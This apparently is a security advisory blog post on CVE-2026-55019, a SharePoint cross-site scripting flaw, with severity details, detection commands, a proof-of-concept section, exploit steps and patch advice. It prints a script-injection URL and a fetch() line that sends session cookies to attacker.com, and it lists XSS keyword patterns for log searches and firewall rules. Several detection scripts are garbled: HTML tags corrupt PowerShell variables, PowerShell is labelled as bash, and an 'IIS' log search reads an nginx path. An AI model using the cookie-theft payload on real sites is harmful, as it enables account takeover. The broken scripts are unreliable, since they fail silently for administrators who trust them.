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How CVE-2026-55019 Works
CVE-2026-55019 is a cross-site scripting (XSS) vulnerability residing in Microsoft Office SharePoint Server. The flaw stems from improper neutralization of user-supplied input during web page generation, a weakness categorized under CWE-79. In practical terms, SharePoint fails to adequately sanitize or encode certain data submitted through web requests before rendering it back in HTTP responses.
An attacker must be authorized – meaning they possess valid credentials and have at least low-privilege access to the SharePoint environment (e.g., a standard site member or contributor). The attack vector is network-based (AV:N), and the complexity is low (AC:L), requiring no special network conditions. However, user interaction is mandatory (UI:R) – the attacker must trick a higher-privileged user (such as a site administrator or content approver) into clicking a specially crafted link or visiting a malicious page.
Once the victim interacts, the injected JavaScript payload executes within the context of the victim’s browser session, with the same origin as the SharePoint site. This allows the attacker to spoof legitimate SharePoint content – for example, they can alter displayed information, forge approval dialogs, or redirect users to fake login pages that capture credentials. The impact is limited to low confidentiality (C:L) and low integrity (I:L) breaches, as the attacker cannot directly elevate privileges or compromise server availability.
The vulnerability affects three major SharePoint product lines: SharePoint Enterprise Server 2016, SharePoint Server 2019, and SharePoint Server Subscription Edition, all running on x64-based systems. Microsoft released security updates on July 14, 2026 (Patch Tuesday) to address this flaw. The update process involves installing the cumulative update packages that contain the fixed SharePoint binaries. Administrators are advised to apply these patches immediately, as the vulnerability is publicly disclosed and proof-of-concept code may emerge.
Given the required authentication and user interaction, the severity is rated MEDIUM with a CVSS v3.1 base score of 4.6. Despite the medium rating, the spoofing capability can be leveraged in social engineering campaigns, making it a tangible risk for enterprise SharePoint deployments.
DailyCVE Form
Platform: Microsoft SharePoint
Version: 2016, 2019, Subscription
Vulnerability: XSS (CWE-79)
Severity: 4.6 MEDIUM
Date: 2026-07-14
Prediction: 2026-07-14 (patch released)
What Undercode Say
Analytics & Detection Commands
Below are bash commands and scripts to help identify vulnerable SharePoint servers and monitor for potential exploitation attempts.
Check SharePoint build version (run on SharePoint server)
Get-WmiObject -Class Win32_Product | Where-Object { $<em>.Name -like "SharePoint" } | Select-Object Name, Version
Quick PowerShell one-liner to verify patch level
(Get-Item "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\ISAPI\Microsoft.SharePoint.dll").VersionInfo.FileVersion
Check for known vulnerable versions (examples)
$vulnerableVersions = @(
"16.0.5561.1000", SharePoint 2016 before fix
"16.0.10417.20174", SharePoint 2019 before fix
"16.0.19725.20433" Subscription Edition before fix
)
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\ISAPI\Microsoft.SharePoint.dll" | ForEach-Object {
if ($vulnerableVersions -contains $</em>.VersionInfo.FileVersion) {
Write-Host "VULNERABLE: $($<em>.VersionInfo.FileVersion)" -ForegroundColor Red
}
}
Monitor IIS logs for suspicious XSS payloads (Linux/bash example)
grep -E "<script|onerror=|onload=|javascript:" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -nr
Use PowerShell to search event logs for anomalous web requests
Get-WinEvent -LogName "Microsoft-Windows-IIS-Logging/Operational" | Where-Object { $</em>.Message -match "<script|onerror" } | Select-Object TimeCreated, Message
Code Snippet – Simulated Payload (Proof of Concept)
<!-- Malicious link crafted by attacker -->
<a href="https://target-sharepoint.com/sites/team/_layouts/15/somepage.aspx?param=<script>alert('XSS')</script>">Click here to view document</a>
// Example of a more advanced payload that steals session cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
Exploit
To exploit CVE-2026-55019, an attacker would:
- Identify an input vector – Search for SharePoint pages that reflect user-supplied parameters (e.g., search boxes, query strings, form fields) without proper encoding.
- Craft a malicious URL – Inject a JavaScript payload into a vulnerable parameter. For example:
https://sharepoint.company.com/sites/project/_layouts/15/search.aspx?k=<script>alert('XSS')</script> - Deliver the link – Send the crafted URL to a victim via email, chat, or social engineering. The victim must be authenticated to SharePoint.
- Execute the payload – When the victim clicks the link, the injected script runs in their browser, allowing the attacker to spoof content, redirect to phishing pages, or exfiltrate sensitive data visible to the victim.
Because the attack requires user interaction and low privileges, it is often used in targeted spear-phishing campaigns against SharePoint administrators or content managers.
Protection
- Apply Official Patches – Install the July 2026 security update for your SharePoint version:
- SharePoint 2016: update to 16.0.5561.1001 or later.
- SharePoint 2019: update to 16.0.10417.20175 or later.
- SharePoint Subscription Edition: update to 16.0.19725.20434 or later.
- Enable Input Validation – Use SharePoint’s built-in request validation and anti-XSS libraries (e.g.,
Microsoft.Security.Application.Encoder). - Restrict User Permissions – Limit the number of users with “Add & Customize Pages” rights to reduce the attack surface.
- Deploy WAF Rules – Configure Web Application Firewall to block common XSS patterns (e.g.,
<script,onerror,javascript:). - Security Awareness Training – Educate users about the risks of clicking unsolicited links, even from trusted sources.
- Regular Auditing – Periodically review SharePoint logs for anomalous requests containing script tags or encoded payloads.
Impact
Successful exploitation allows an authorized attacker to:
- Spoof SharePoint content – Display fake notifications, approval requests, or document listings to deceive users.
- Steal session tokens – Hijack user sessions via `document.cookie` exfiltration, leading to account takeover.
- Phish for credentials – Redirect victims to a rogue login page that captures their passwords.
- Deface or misinform – Alter the appearance of SharePoint pages to spread false information or damage trust.
- Pivot to internal networks – Use the compromised session as a stepping stone for further attacks against internal resources.
While the CVSS score is medium (4.6), the real-world impact can be significant in enterprise environments where SharePoint serves as a central collaboration hub. The combination of low attack complexity and the need for user interaction makes this a viable vector for social engineering attacks.
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Sources:
Reported By: nvd.nist.gov
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